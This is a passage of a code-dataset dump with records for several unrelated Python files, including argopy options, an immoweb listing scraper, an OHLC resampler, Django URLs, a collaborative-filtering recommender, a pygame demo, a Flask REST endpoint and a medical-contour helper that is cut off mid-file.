\"api_timeout\"\n\n# Define the list of available options and default values:\nOPTIONS = {\n DATA_SOURCE: \"erddap\",\n LOCAL_FTP: \".\",\n DATASET: \"phy\",\n DATA_CACHE: os.path.expanduser(os.path.sep.join([\"~\", \".cache\", \"argopy\"])),\n USER_LEVEL: \"standard\",\n API_TIMEOUT: 60\n}\n\n# Define the list of possible values\n_DATA_SOURCE_LIST = frozenset([\"erddap\", \"localftp\", \"argovis\"])\n_DATASET_LIST = frozenset([\"phy\", \"bgc\", \"ref\"])\n_USER_LEVEL_LIST = frozenset([\"standard\", \"expert\"])\n\n\n# Define how to validate options:\ndef _positive_integer(value):\n return isinstance(value, int) and value > 0\n\n\n_VALIDATORS = {\n DATA_SOURCE: _DATA_SOURCE_LIST.__contains__,\n LOCAL_FTP: os.path.exists,\n DATASET: _DATASET_LIST.__contains__,\n DATA_CACHE: os.path.exists,\n USER_LEVEL: _USER_LEVEL_LIST.__contains__,\n API_TIMEOUT: _positive_integer,\n}\n\n\nclass set_options:\n \"\"\"Set options for argopy.\n\n List of options:\n\n - `dataset`: Define the Dataset to work with.\n Default: `phy`. Possible values: `phy`, `bgc` or `ref`.\n - `src`: Source of fetched data.\n Default: `erddap`. Possible values: `erddap`, `localftp`, `argovis`\n - `local_ftp`: Absolute path to a local GDAC ftp copy.\n Default: `.`\n - `cachedir`: Absolute path to a local cache directory.\n Default: `~/.cache/argopy`\n - `mode`: User mode.\n Default: `standard`. Possible values: `standard` or `expert`.\n - `api_timeout`: Define the time out of internet requests to web API, in seconds.\n Default: 120\n\n You can use `set_options` either as a context manager:\n >>> import argopy\n >>> with argopy.set_options(src='localftp'):\n >>> ds = argopy.DataFetcher().float(3901530).to_xarray()\n\n Or to set global options:\n >>> argopy.set_options(src='localftp')\n\n \"\"\"\n\n def __init__(self, **kwargs):\n self.old = {}\n for k, v in kwargs.items():\n if k not in OPTIONS:\n raise ValueError(\n \"argument name %r is not in the set of valid options %r\"\n % (k, set(OPTIONS))\n )\n\n if k in _VALIDATORS and not _VALIDATORS[k](v):\n raise OptionValueError(f\"option {k!r} given an invalid value: {v!r}\")\n self.old[k] = OPTIONS[k]\n self._apply_update(kwargs)\n\n def _apply_update(self, options_dict):\n # for k, v in options_dict.items():\n # if k in _SETTERS:\n # _SETTERS[k](v)\n OPTIONS.update(options_dict)\n\n def __enter__(self):\n return\n\n def __exit__(self, type, value, traceback):\n self._apply_update(self.old)\n","sub_path":"argopy/options.py","file_name":"options.py","file_ext":"py","file_size_in_byte":3128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"433803073","text":"from typing import Text\nimport selenium\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom bs4 import BeautifulSoup\nimport requests\nfrom threading import Thread, RLock\nimport time\nimport random\nfrom random import randint\nimport csv\n\n\n#Threads to get all houses links and write it to a txt file:\nclass ImmoLinks(Thread):\n def __init__(self, link):\n Thread.__init__(self)\n self.link = link\n\n def run(self):\n driver.get(self.link)\n soup = BeautifulSoup(driver.page_source, features='lxml')\n for elem in soup.find_all('a', attrs={\"class\": \"card__title-link\"}):\n txt_list = open(\"./houses_links.txt\", 'a')\n txt_list.write(elem.get(\"href\"))\n txt_list.write(\"\\n\")\n\n\n#Web scraping\ndriver = webdriver.Chrome(executable_path='C:\\Program Files\\Google\\Chrome\\Application\\chromedriver.exe')\n\n#Click the cookies button after open website:\ndriver.get('https://www.immoweb.be/en/search/house/for-sale?countries=BE&page=1&orderBy=relevance')\ntime.sleep(random.uniform(1.0, 4.0))\ncookie_button = driver.find_element_by_xpath('/html/body/div[4]/div[4]/div[2]/div/div[2]/div[1]/button')\ncookie_button.click()\ntime.sleep(random.uniform(1.0, 2.0))\n\n#Get all houses links from immoweb \"for-sale\" page=1:\nsoup = BeautifulSoup(driver.page_source, features='lxml')\nfor elem in soup.find_all('a', attrs={\"class\": \"card__title-link\"}):\n txt_list = open(\"./houses_links.txt\", 'a')\n txt_list.write(elem.get(\"href\"))\n txt_list.write(\"\\n\")\n\nindex = 2\nfor item in range(331):\n immo_url = 'https://www.immoweb.be/en/search/house/for-sale?countries=BE&page=1&orderBy=relevance'\n next_url = immo_url.replace('page=1', f'page={index}')\n thread = ImmoLinks(next_url)\n thread.start()\n thread.join()\n index += 1\n\n","sub_path":"immo_links_scraping_v03.py","file_name":"immo_links_scraping_v03.py","file_ext":"py","file_size_in_byte":1807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"190219135","text":"import pandas as pd\nimport numpy as np\n\ninput_file = \"C:/Users/Administrator/Desktop/Data/USDNOK.FXCM.asc\"\nba_ready_file = \"C:/Users/Administrator/Desktop/BaData/BA_USDNOK_15min.txt\"\n\ndf = pd.read_csv(input_file,index_col=0, parse_dates=[[0,1]], delimiter=',')\ndf.head()\ndf_open = df['Open'].resample('15Min').ohlc()\ndf_high = df['High'].resample('15Min').ohlc()\ndf_low = df['Low'].resample('15Min').ohlc()\ndf_close = df['Close'].resample('15Min').ohlc()\ndf_vol = df['TotalVolume'].resample('15Min').ohlc()\n\ndf_resample = pd.concat([df_open,df_high,df_low,df_close])\ndf_resample = df_resample.dropna()\n\n\n\n# ----------------------\n# Do NOT Change\n#\nfh = open(ba_ready_file, 'w')\nfh.write(\"Date,Time,Open,High,Low,Close,Vol,OI\\n\")\nfor d,o,h,l,c in zip(df_resample.index,df_resample['open'],df_resample['high'],df_resample['low'],df_resample['close']):\n fh.write(\"%s,%s,%.5f,%.5f,%.5f,%.5f,%d,%d\\n\" % (d.strftime('%m/%d/%Y'),d.strftime('%H:%M'),o,h,l,c,0,0))\nfh.close()","sub_path":"TimeResampler.py","file_name":"TimeResampler.py","file_ext":"py","file_size_in_byte":972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"654015811","text":"from django.conf.urls import patterns, include, url\nfrom django.contrib import admin\nfrom django.contrib.auth import views as auth_views\n\nurlpatterns = patterns('',\n url(r'^admin/', include(admin.site.urls)),\n url(r'^$', auth_views.login),\n url(r'^logout/', auth_views.logout),\n url(r'^secure/', include('certchain.urls', namespace='certchain')),\n url(r'^public/', include('public.urls', namespace='public')),\n)\n","sub_path":"admin/admin/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"365738424","text":"import pandas as pd\nimport numpy as np\nimport math\n\nclass dataset():\n\n def __init__(self,nama_dataset):\n print(nama_dataset)\n self.matrix_dataset=pd.read_csv(nama_dataset)\n \n def matrix_rm(self):\n self.matrix_rm = pd.DataFrame(self.matrix_dataset, index=np.arange(1, self.matrix_dataset[\"User ID\"].max() + 1),columns=np.array(1, self.matrix_dataset[\"Movie ID\"].max() + 1))\n for i in range((len(self.matrix_dataset.index))):\n user = self.matrix_dataset.at[i, \"User ID\"]\n film = self.matrix_dataset.at[i, \"Movie ID\"]\n rating = self.matrix_dataset.at[i, \"Rating\"]\n self.matrix_rm.at[user, film] = rating\n\n #convert NaN to 0\n #for item in self.matrix_rm.columns:\n # self.matrix_rm[item].fillna(0.0, inplace=True)\n return self.matrix_rm\n\n def matrix_crm(self,jml_user):\n self.matrix_crm = pd.DataFrame(index=np.arange(1, jml_user + 1), columns=np.arange(1, jml_user + 1))\n for user in self.matrix_rm.index:\n for user_pembanding in self.matrix_rm.index:\n if user == user_pembanding:\n self.matrix_crm.at[user, user_pembanding] = 0\n continue\n temp = 0\n for item in self.matrix_rm.columns:\n if self.matrix_rm.at[user, item] > 0 and self.matrix_rm.at[user_pembanding, item] > 0:\n temp += 1\n self.matrix_crm.at[user, user_pembanding] = temp\n print(user+1, \"dan\", user_pembanding+1,\":\",temp)\n return self.matrix_crm\n\n def matrix_cm(self):\n self.matrix_cm = self.matrix_crm\n for user in self.matrix_crm.index:\n c = self.matrix_crm.sum(axis=1, skipna=True)\n for item in self.matrix_crm.columns:\n if self.matrix_crm.at[user, item] > 0:\n data_lama = self.matrix_crm.at[user,item]\n print(data_lama)\n data_baru = data_lama / c[user]\n print(data_baru)\n self.matrix_cm.at[user, item] = data_baru\n return self.matrix_cm\n\n def pageRank(self,alpha=0.5,nilai_error=0.001):\n self.kolom_iterasi=0\n jml_user=len(self.matrix_rm.index)\n self.matrix_pageRank = pd.DataFrame(index=np.arange(1, jml_user + 1))\n self.matrix_pageRank[0] = 0.2\n\n def cek_selisih(kolom_iterasi, batas_error): #ecluidean distance\n temp_nilai = 0\n for user_rank in self.matrix_pageRank.index:\n temp_nilai += (self.matrix_pageRank.at[user_rank, kolom_iterasi + 1] - self.matrix_pageRank.at[\n user_rank, kolom_iterasi])**2\n selisih_error = math.sqrt(temp_nilai)\n if selisih_error < batas_error:\n ketemu = True\n else:\n ketemu=False\n self.kolom_iterasi+=1\n return ketemu\n\n def list_uk(): #buat cari node tetangga user\n dict_list_uk = {}\n for user_n in (self.matrix_cm.index):\n temp = 0\n uk = []\n for user_k in (self.matrix_cm.columns):\n if self.matrix_cm.at[user_n, user_k] > 0:\n temp += 1\n uk.append(user_k)\n dict_list_uk[user_n] = uk\n return dict_list_uk\n\n while True:\n for user in self.matrix_cm.index:\n temp = 0\n print(\"UR User : \", user)\n for out_user in list_uk()[user]:\n temp += self.matrix_pageRank.at[out_user, self.kolom_iterasi] * self.matrix_cm.at[out_user, user]\n print(\"data uk : \", self.matrix_pageRank.at[out_user, self.kolom_iterasi], \"data cm : \", self.matrix_cm.at[out_user, user], \"hasil uk*cm : \", temp)\n hasil = ((1 - alpha ) * self.matrix_pageRank.at[user, self.kolom_iterasi]) + (alpha * temp)\n print(\"data un : \", self.matrix_pageRank.at[user, self.kolom_iterasi], \"hasil ur : \", hasil)\n self.matrix_pageRank.at[user, self.kolom_iterasi + 1] = hasil\n if cek_selisih(self.kolom_iterasi,nilai_error)==True:\n break\n\n return self.matrix_pageRank\n\n def matrix_s(self,jml_user,jml_item):\n\n matrix_temp_nilai_total_user = self.matrix_rm.sum(axis=1, skipna=True)\n matrix_temp_nilai_rata_user=matrix_temp_nilai_total_user\n for user in self.matrix_rm.index:\n list_total_user = []\n for item in self.matrix_rm.columns:\n if self.matrix_rm.at[user, item] > 0:\n list_total_user.append(item)\n matrix_temp_nilai_rata_user[user] = float(matrix_temp_nilai_total_user[user] / len(list_total_user))\n print(matrix_temp_nilai_rata_user)\n print(self.matrix_rm)\n\n self.matrix_s=pd.DataFrame(index=np.arange(1, jml_user + 1), columns=np.arange(1, jml_item + 1))\n for user in self.matrix_rm.index:\n print(self.matrix_rm.loc[user],matrix_temp_nilai_rata_user[user])\n\n self.matrix_s.loc[user] = self.matrix_rm.loc[user]-matrix_temp_nilai_rata_user[user]\n\n return self.matrix_s\n\n def matrix_similarity_userrank(self,input_user=1):\n\n def cari_user(item_a, item_b):\n irisan_user_pada_item_a_b = []\n for user in self.matrix_s.index:\n if user != input_user:\n if not math.isnan(self.matrix_s.at[user, item_a]) and not math.isnan(self.matrix_s.at[user, item_b]):\n irisan_user_pada_item_a_b.append(user)\n else:\n continue\n print(\"user yang merating item \", item_a, item_b, \": user \", irisan_user_pada_item_a_b)\n return irisan_user_pada_item_a_b\n\n def hitung_similarity(item_a, item_b, list_irisan_a_b):\n atas = 0\n bawah_kiri = 0\n bawah_kanan = 0\n l_atas = []\n l_bawah_kiri = []\n l_bawah_kanan = []\n for user in list_irisan_a_b:\n kolom_terakhir = (self.matrix_pageRank.columns[-1])\n print(\"pagerank user\", user, \"= \", self.matrix_pageRank.at[user, kolom_terakhir], \"**2:\",self.matrix_pageRank.at[user, kolom_terakhir] ** 2)\n\n atas += self.matrix_s.at[user, item_a] * self.matrix_s.at[user, item_b] * (self.matrix_pageRank.at[\n user, kolom_terakhir] ** 2) # str karena tipe data kolom pagerank adlh string\n l_atas.append(self.matrix_s.at[user, item_a] * self.matrix_s.at[user, item_b] * (self.matrix_pageRank.at[user, kolom_terakhir] ** 2))\n print(\"similaritas \", user, item_a, \":\", self.matrix_s.at[user, item_a], \"dan\", user, item_b, \":\",self.matrix_s.at[user, item_b], \"userrank\", user, \":\", (self.matrix_pageRank.at[user, kolom_terakhir] ** 2))\n\n bawah_kiri += (self.matrix_s.at[user, item_a] ** 2) * (self.matrix_pageRank.at[user, kolom_terakhir] ** 2)\n l_bawah_kiri.append((self.matrix_s.at[user, item_a] ** 2) * (self.matrix_pageRank.at[user, kolom_terakhir] ** 2))\n print(\"similaritas \", user, item_a, \":\", self.matrix_s.at[user, item_a] ** 2, \"userrank\", user, \":\",self.matrix_pageRank.at[user, kolom_terakhir])\n\n bawah_kanan += (self.matrix_s.at[user, item_b] ** 2) * (self.matrix_pageRank.at[user, kolom_terakhir] ** 2)\n l_bawah_kanan.append((self.matrix_s.at[user, item_b] ** 2) * (self.matrix_pageRank.at[user, kolom_terakhir] ** 2))\n print(\"similaritas \", user, item_b, \":\", self.matrix_s.at[user, item_b] ** 2, \"userrank\", user, \":\", self.matrix_pageRank.at[user, kolom_terakhir])\n\n bawah = (math.sqrt(bawah_kiri)) * (math.sqrt(bawah_kanan))\n hasil = float(atas / bawah)\n print(\"sum atas \", l_atas)\n print(\"sum bawah kiri \", l_bawah_kiri)\n print(\"sum bawah kanan \", l_bawah_kanan)\n print(\"atas \", atas)\n print(\"bawah kiri \", math.sqrt(bawah_kiri))\n print(\"bawah kanan \", math.sqrt(bawah_kanan))\n print(\"bawah \", bawah)\n print(\"similaritas \", item_a, item_b)\n print(\"hasil\", hasil, \">>>>>>>>>>>\\n\")\n return hasil\n\n data_similaritas_user = pd.DataFrame(dtype=float)\n\n temp_item_kosong = []\n temp_item_terisi = []\n print(input_user)\n\n for item in (self.matrix_s.columns):\n if math.isnan(self.matrix_s.at[input_user, item]):\n temp_item_kosong.append(item)\n else:\n temp_item_terisi.append(item)\n\n for item_target in temp_item_kosong:\n for item_pembanding in temp_item_terisi:\n list_irisan_a_b = cari_user(item_target, item_pembanding)\n if len(list_irisan_a_b) == 0:\n continue\n else:\n data_similaritas_user.at[item_target, item_pembanding] = hitung_similarity(item_target, item_pembanding,list_irisan_a_b)\n print(data_similaritas_user)\n return data_similaritas_user\n\n\n def matrix_similarity_traditional(self,input_user=1):\n\n def cari_user(item_a, item_b):\n irisan_user_pada_item_a_b = []\n for user in self.matrix_s.index:\n if user != input_user:\n if not math.isnan(self.matrix_s.at[user, item_a]) and not math.isnan(self.matrix_s.at[user, item_b]):\n irisan_user_pada_item_a_b.append(user)\n else:\n continue\n print(\"user yang merating item \", item_a, item_b, \": user \", irisan_user_pada_item_a_b)\n return irisan_user_pada_item_a_b\n\n def hitung_similarity(item_a, item_b, list_irisan_a_b):\n atas = 0\n bawah_kiri = 0\n bawah_kanan = 0\n l_atas = []\n l_bawah_kiri = []\n l_bawah_kanan = []\n for user in list_irisan_a_b:\n atas += self.matrix_s.at[user, item_a] * self.matrix_s.at[user, item_b]\n l_atas.append(self.matrix_s.at[user, item_a] * self.matrix_s.at[user, item_b])\n bawah_kiri += self.matrix_s.at[user, item_a] ** 2\n l_bawah_kiri.append(self.matrix_s.at[user, item_a] ** 2)\n\n bawah_kanan += self.matrix_s.at[user, item_b] ** 2\n l_bawah_kanan.append(self.matrix_s.at[user, item_b] ** 2)\n bawah = (math.sqrt(bawah_kiri)) * (math.sqrt(bawah_kanan))\n\n hasil = float(atas / bawah)\n\n print(\"sum atas \", l_atas)\n print(\"sum bawah kiri \", l_bawah_kiri)\n print(\"sum bawah kanan \", l_bawah_kanan)\n print(\"atas \", atas)\n print(\"bawah kiri \", math.sqrt(bawah_kiri))\n print(\"bawah kanan \", math.sqrt(bawah_kanan))\n print(\"bawah \", bawah)\n print(\"similaritas \", item_a, item_b)\n print(\"hasil\", hasil, \">>>>>>>>>>>\\n\")\n return hasil\n\n data_similaritas_user = pd.DataFrame(dtype=float)\n\n temp_item_kosong = []\n temp_item_terisi = []\n print(input_user)\n\n for item in (self.matrix_s.columns):\n if math.isnan(self.matrix_s.at[input_user, item]):\n temp_item_kosong.append(item)\n else:\n temp_item_terisi.append(item)\n\n for item_target in temp_item_kosong:\n for item_pembanding in temp_item_terisi:\n list_irisan_a_b = cari_user(item_target, item_pembanding)\n if len(list_irisan_a_b) == 0:\n continue\n else:\n data_similaritas_user.at[item_target, item_pembanding] = hitung_similarity(item_target, item_pembanding,list_irisan_a_b)\n print(data_similaritas_user)\n return data_similaritas_user\n\n def matrix_prediksi(self,tipe,input_K=2):\n\n def cari_tetangga(item_target, banyak_tetangga):\n temp_per_item_target = data.loc[item_target] # select per index\n temp_per_item_target.sort_values(ascending=False, inplace=True) # sorting desc\n temp_per_item_target = temp_per_item_target.iloc[:banyak_tetangga] # spit berdasarkan max k\n print(temp_per_item_target)\n list_QtU_item_k = temp_per_item_target.index.tolist() # get index/item dari data stlh disorting convert ke list\n print(list_QtU_item_k)\n return list_QtU_item_k\n\n def hitung_function(user_target, item_target, list_item_similar_qtu):\n atas = 0.0\n bawah = 0.0\n\n for item_similar in list_item_similar_qtu:\n atas += data.at[item_target, item_similar] * self.matrix_rm.at[user_target, item_similar]\n bawah += math.fabs(data.at[item_target, item_similar])\n print(\"similaritas item(\", item_target, item_similar, \")= \", data.at[item_target, item_similar],\" * rating user item(\", user_target, item_similar, \")= \",self.matrix_rm.at[user_target, item_similar])\n print(\"absolute similaritas item(\", item_target, item_similar, \")= \",math.fabs(data.at[item_target, item_similar]))\n hasil = float(atas) / float(bawah)\n print(hasil)\n return hasil\n\n if tipe==\"traditional\":\n self.matrix_rm_plus_prediksi=self.matrix_rm.copy()\n for user_target in self.matrix_rm.index:\n data = self.matrix_similarity_traditional(user_target)\n data_hasil = {}\n for item_target in data.index:\n QtU = cari_tetangga(item_target, input_K)\n hasil = hitung_function(user_target, item_target, QtU)\n data_hasil[item_target] = hasil\n self.matrix_rm_plus_prediksi.at[user_target, item_target] = hasil\n\n return self.matrix_rm_plus_prediksi\n\n elif tipe == \"userrank\":\n self.matrix_rm_plus_prediksi_userrank = self.matrix_rm.copy()\n for user_target in self.matrix_rm.index:\n data = self.matrix_similarity_userrank(user_target)\n data_hasil = {}\n for item_target in data.index:\n QtU = cari_tetangga(item_target, input_K)\n hasil = hitung_function(user_target, item_target, QtU)\n data_hasil[item_target] = hasil\n self.matrix_rm_plus_prediksi_userrank.at[user_target, item_target] = hasil\n\n return self.matrix_rm_plus_prediksi_userrank\n\n def lihat_top_n(self,tipe=\"traditional\",user_target=1,top_n=2):\n\n if tipe==\"traditional\":\n data_top_n = self.matrix_rm_plus_prediksi.loc[user_target]\n for item in self.matrix_rm.columns:\n if not math.isnan(self.matrix_rm.at[user_target, item]):\n del data_top_n[item]\n\n data_top_n.sort_values(ascending=False, inplace=True) # sorting desc\n data_top_n = data_top_n.iloc[:top_n]\n return (data_top_n)\n\n\n elif tipe == \"userrank\":\n data_top_n = self.matrix_rm_plus_prediksi_userrank.loc[user_target]\n for item in self.matrix_rm.columns:\n if not math.isnan(self.matrix_rm.at[user_target, item]):\n del data_top_n[item]\n\n data_top_n.sort_values(ascending=False, inplace=True) # sorting desc\n data_top_n = data_top_n.iloc[:top_n]\n return (data_top_n)\n\n #for item in self.matrix_rm.columns:\n\n\n\nfold=1\nfor i in range (1,fold+1):\n afni=dataset(\"base_\"+str(i)+\"_dataset.csv\")\n #print(afni.matrix_dataset)\n\n (afni.matrix_rm())\n total_user=len(afni.matrix_rm.index)\n total_item=len(afni.matrix_rm.columns)\n (afni.matrix_crm(total_user))\n (afni.matrix_cm())\n (afni.pageRank(nilai_error=0.001))\n #(afni.matrix_rm)\n \n print(afni.matrix_s(total_user,total_item))\n afni.matrix_rm.to_csv(\"matrik_rating_base_\"+str(i)+\".csv\")\n\n print(\">>>>>>>>>>>>>>>>>>>\")\n print(afni.matrix_prediksi(\"traditional\",2))\n print(afni.matrix_rm_plus_prediksi)\n print(afni.matrix_rm_plus_prediksi.to_csv(\"base_\"+str(i)+\"_matrik_prediksi_traditional_itembase.csv\"))\n #print(afni.lihat_top_n(\"traditional\",5,2))\n\n\n #print(afni.matrix_prediksi(\"userrank\",2))\n #print(afni.matrix_rm_plus_prediksi_userrank)\n #print(afni.matrix_rm_plus_prediksi_userrank.to_csv(\"base_\"+str(i)+\"_matrik_prediksi_userrank_itembase.csv\"))\n #print(afni.lihat_top_n(\"userrank\",5,2))\n\n \n","sub_path":"real-dataset(1 program)/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":16700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"244468725","text":"'''\n Escribir un programa que pida al usuario un numero entero y muestre por pantalla un triangulo rectangulo\n\n *\n **\n ***\n ****\n *****\n'''\n\nlon = input('Elije el tamaño del arbol: ')\n\ntry:\n lon=int(lon)\nexcept:\n print('solo se pueden poner numeros')\n\nfor i in range(lon):\n print('*' * (i + 1))","sub_path":"arbol.py","file_name":"arbol.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"251127179","text":"from gates import xor\n\n\ndef full_adder(first,last):\n c_out = 0\n result = ''\n for i in range(len(first)-1,-1,-1):\n sum_ = xor(xor(int(first[i]),int(last[i])),c_out)\n c_out = (int(first[i]) and int(last[i])) or (c_out and (xor(int(first[i]),int(last[i]))))\n result += str(sum_)\n result+=str(c_out)\n return result[::-1]","sub_path":"byte_adder.py","file_name":"byte_adder.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"193266637","text":"import pygame, sys\n\npygame.init()\n\nscreen = pygame.display.set_mode((500, 500))\n\n# 加载全部字体\nfonts = pygame.font.get_fonts()\n#print(front)\n\nred = pygame.Color(255, 0, 0)\n\n# 加粗,斜体\n# 使用系统默认的字体文件\nfont = pygame.font.SysFont('华文新魏', 40, True, True)\n# 使用项目中字体\n# font = gygame.font.Font('')\n\n\n# 文字对象\ntext = font.render(\"得分\", False, red)\ntext2 = font.render(\"TEST\", False, red)\n\n\n# 音乐\nbg_music = pygame.mixer.music.load('/pygame/a_demo\\\\game_bg_music.mp3')\npygame.mixer.music.play(-1)\n\n\nwhile True:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n\n\n # 绘制图形\n screen.blit(text, (20, 20))\n screen.blit(text2, (120, 120))\n # 更新\n pygame.display.flip()","sub_path":"pygame/a_demo/use_font.py","file_name":"use_font.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"514782109","text":"import flask\n\nimport json\n\nfrom rest_api.RestAPIMethod import RESTResource, GetRESTResource\nfrom couchdb_layer.mcm_database import Database\nfrom model_layer.chained_campaign import ChainedCampaign\nfrom tools.user_management import Roles\n\n\nclass GetChainedCampaign(GetRESTResource):\n\n def __init__(self):\n GetRESTResource.__init__(self, 'chained_campaigns')\n\n\nclass CreateChainedCampaign(RESTResource):\n\n allowed_role = Roles.production_manager\n\n def __init__(self):\n RESTResource.__init__(self)\n self.db_name = 'chained_campaigns'\n self.before_request()\n\n def put(self):\n \"\"\"\n Create a chained campaign from the provide json content\n \"\"\"\n data = flask.request.data\n if not data:\n return self.output_text({'results': False,\n 'message': 'No data was found in request'},\n code=400)\n\n chained_campaign = ChainedCampaign(json_input=json.loads(data.decode('utf-8')))\n chained_campaign_campaigns = chained_campaign.get('campaigns')\n if len(chained_campaign_campaigns) < 2:\n return self.output_text({'results': False,\n 'message': 'Chained campaign must have at least two campaigns'},\n code=400)\n\n campaigns_db = Database('campaigns')\n flows_db = Database('flows')\n if not campaigns_db.prepid_exists(chained_campaign_campaigns[0]['campaign']):\n return self.output_text({'results': False,\n 'message': 'Campaign \"%s\" does not exist' % (chained_campaign_campaigns[0]['campaign'])},\n code=400)\n\n if not campaigns_db.get(chained_campaign_campaigns[0]['campaign']).get('is_root'):\n return self.output_text({'results': False,\n 'message': 'Campaign \"%s\" cannot be root' % (chained_campaign_campaigns[0]['campaign'])},\n code=400)\n\n chained_campaign_id = 'chain_%s' % (chained_campaign_campaigns[0]['campaign'])\n for index, campaign_flow_pair in enumerate(chained_campaign_campaigns):\n campaign_id = campaign_flow_pair['campaign']\n if not campaigns_db.prepid_exists(campaign_id):\n return self.output_text({'results': False,\n 'message': 'Campaign \"%s\" does not exist' % (campaign_id)},\n code=400)\n\n if index == 0:\n continue\n\n flow_id = campaign_flow_pair['flow']\n flow = flows_db.get(flow_id)\n if not flow:\n return self.output_text({'results': False,\n 'message': 'Flow \"%s\" does not exist' % (flow_id)},\n code=400)\n\n previous_campaign_id = chained_campaign_campaigns[index - 1]['campaign']\n if previous_campaign_id not in flow.get('source_campaigns'):\n return self.output_text({'results': False,\n 'message': 'Campaign \"%s\" is not in \"%s\" source campaigns' % (previous_campaign_id,\n flow_id)},\n code=400)\n\n if campaign_id != flow.get('target_campaign'):\n return self.output_text({'results': False,\n 'message': 'Campaign \"%s\" is not \"%s\" target campaign' % (campaign_id,\n flow_id)},\n code=400)\n\n chained_campaign_id += '_%s' % (flow_id)\n\n chained_campaigns_db = Database('chained_campaigns')\n if chained_campaigns_db.prepid_exists(chained_campaign_id):\n return self.output_text({'results': False,\n 'message': 'Chained campaign \"%s\" already exists' % (chained_campaign_id)},\n code=409)\n\n chained_campaign.set('_id', chained_campaign_id)\n chained_campaign.set('prepid', chained_campaign_id)\n # update history\n chained_campaign.update_history(None, 'created', chained_campaign_id)\n if not chained_campaigns_db.save(chained_campaign.json()):\n self.logger.error('Could not save chained campaign \"%s\" to database' % (chained_campaign_id))\n return self.output_text({'results': False,\n 'message': 'Error saving chained campaign to database'},\n code=500)\n\n return self.output_text({'results': True, 'message': ''})\n\n\nclass UpdateChainedCampaign(RESTResource):\n\n allowed_role = Roles.production_manager\n\n def __init__(self):\n RESTResource.__init__(self)\n self.db_name = 'chained_campaigns'\n self.before_request()\n\n def put(self):\n \"\"\"\n Update a chained campaign from the provide json content\n \"\"\"\n return self.output_text({'results': False, 'message': 'Not implemented'}, code=501)\n","sub_path":"rest_api/ChainedCampaignActions.py","file_name":"ChainedCampaignActions.py","file_ext":"py","file_size_in_byte":5306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"138245589","text":"#\n# @lc app=leetcode.cn id=93 lang=python3\n#\n# [93] 复原IP地址\n#\n\n# @lc code=start\nclass Solution:\n def restoreIpAddresses(self, s: str) -> List[str]:\n COUNT = 4\n segments, ans = [0]*COUNT, []\n \n def dfs(sid, start):\n # 终止条件\n if sid == COUNT and start == len(s):\n ipaddr = '.'.join([str(m) for m in segments])\n ans.append(ipaddr)\n return\n if sid == COUNT or start == len(s):\n return\n # 搜索过程\n if s[start] == '0': # 除数字0外,不能以0开头,注意这里适合字符'0'比较\n segments[sid] = s[start]\n dfs(sid+1, start+1)\n return\n num = 0\n for i in range(start, len(s)):\n num = num * 10 + int(s[i])\n if 255 >= num > 0:\n segments[sid] = num\n dfs(sid+1, i+1)\n else:\n break\n dfs(0, 0)\n return ans\n \n# @lc code=end\n\n","sub_path":"Week_02/93_复原IP地址.py","file_name":"93_复原IP地址.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"237736150","text":"import nibabel as nib\nfrom voxtox.rtstruct import getPolygons, getStructDict\nfrom voxtox.utility import pointXyzToIjk\nfrom skimage.measure import find_contours\nfrom skimage.filters import gaussian\nimport numpy as np\nfrom skimage import draw\nfrom shapely.geometry import Polygon\nfrom scipy.interpolate import RegularGridInterpolator\nfrom deform.registration import getNiiCoords\n\nclass Contours(object):\n # need to send the structure path to this class\n def __init__( self, structPath = \"\", roiList = [] ):\n super(Contours, self).__init__()\n self.path = structPath\n self.roiList = roiList\n self.structDict = self.getStructures(self.roiList)\n self.polyDict = self.getPolygonDict()\n \n def getStructures( self, roiList ):\n #roiList = getROIList( roi )\n rtStructDict = getStructDict( self.path, roiList )\n # this polygon dict only gets the polygon for the first \n # structure in the list\n contourDict = {}\n for key in rtStructDict.keys():\n name = rtStructDict[key][ \"name\" ]\n allPlanesDict = rtStructDict[key][ \"planes\" ]\n contourDict[name] = self._getContourData(allPlanesDict)\n return contourDict\n\n def getPolygonDict(self):\n polyDict = {}\n for roi in self.structDict:\n contourDict = self.structDict[roi]\n polyDict[roi] = {}\n for zslice in contourDict:\n polyDict[roi][zslice] = Polygon(contourDict[zslice])\n return polyDict\n\n def createLabelNii( self, origNii, filename = 'label_test.nii' ):\n labelNii = nib.load(origNii)\n labelNii.header.set_data_dtype('uint32')\n labelImg = self.createLabelImg(labelNii)\n label = nib.Nifti1Image(labelImg, labelNii.affine, labelNii.header)\n nib.save(label, filename)\n\n def createLabelImg( self, origNii ):\n \n origShape = origNii.header.get_data_shape()\n labelImg = np.zeros(origShape, dtype = 'uint32')\n if len(self.structDict.keys()) > 32:\n raise ValueError('Label image can only represent 32 structures')\n \n # loop over structures - have to start from 1\n for n, roi in enumerate(sorted(self.structDict.keys())):\n n += 1\n binImg = np.zeros(origShape, dtype = np.bool)\n\n # loop over contours and sort from lowest z to highest\n for zslice in sorted(self.structDict[roi]):\n\n # convert x,y,z to voxel coordinates\n affine = np.linalg.inv(origNii.affine)\n contour = self.structDict[roi][zslice]\n # go from (x,y,z) array to (x,y,z,1)\n contour = np.c_[contour, np.ones(contour.shape[0])] \n # if not np.matmul use\n # np.core.umath_tests.matrix_multiply\n # this is only available in a 